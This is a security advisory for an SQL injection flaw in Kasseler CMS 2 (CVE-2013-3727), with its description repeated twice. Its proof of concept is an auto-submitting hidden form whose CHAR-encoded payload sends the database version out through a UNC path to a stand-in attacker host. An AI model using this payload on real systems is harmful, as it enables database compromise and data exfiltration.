Kasseler CMS 'groups' Parameter SQL Injection Vulnerability
BID:60928
Info
Kasseler CMS 'groups' Parameter SQL Injection Vulnerability
| Bugtraq ID: | 60928 |
| Class: | Input Validation Error |
| CVE: |
CVE-2013-3727 |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 03 2013 12:00AM |
| Updated: | Jul 03 2013 12:00AM |
| Credit: | High-Tech Bridge Security Research Lab |
| Vulnerable: | |
| Not Vulnerable: | |
Discussion
Kasseler CMS 'groups' Parameter SQL Injection Vulnerability
Kasseler CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
A successful exploit will allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Note: An attacker can exploit this issue further to perform cross-site request-forgery attacks.
Kasseler CMS 2 r1223 is vulnerable; other versions may also be affected.
Kasseler CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
A successful exploit will allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Note: An attacker can exploit this issue further to perform cross-site request-forgery attacks.
Kasseler CMS 2 r1223 is vulnerable; other versions may also be affected.
Exploit / POC
Kasseler CMS 'groups' Parameter SQL Injection Vulnerability
An attacker can exploit this issue using a web browser.
The following example data is available:
<form action="http://www.example.com/admin.php?module=sendmail&do=send " method="post" name="main">
<input type="hidden" name="title" value="1">
<input type="hidden" name="message" value="1">
<input type="hidden" name="attache_page" value="1">
<input type="hidden" name="groups[]" value="123) OR 1=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHA R(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114 )))) -- ">
<input type="hidden" name="" value="">
<input type="hidden" name="" value="">
<input type="submit" id="btn">
</form>
<script>
document.main.submit();
</script>
An attacker can exploit this issue using a web browser.
The following example data is available:
<form action="http://www.example.com/admin.php?module=sendmail&do=send " method="post" name="main">
<input type="hidden" name="title" value="1">
<input type="hidden" name="message" value="1">
<input type="hidden" name="attache_page" value="1">
<input type="hidden" name="groups[]" value="123) OR 1=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHA R(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114 )))) -- ">
<input type="hidden" name="" value="">
<input type="hidden" name="" value="">
<input type="submit" id="btn">
</form>
<script>
document.main.submit();
</script>
Solution / Fix
Kasseler CMS 'groups' Parameter SQL Injection Vulnerability
Solution:
Updates are available. Please see the references or vendor advisory for more information.
Solution:
Updates are available. Please see the references or vendor advisory for more information.
References
Kasseler CMS 'groups' Parameter SQL Injection Vulnerability
References:
References: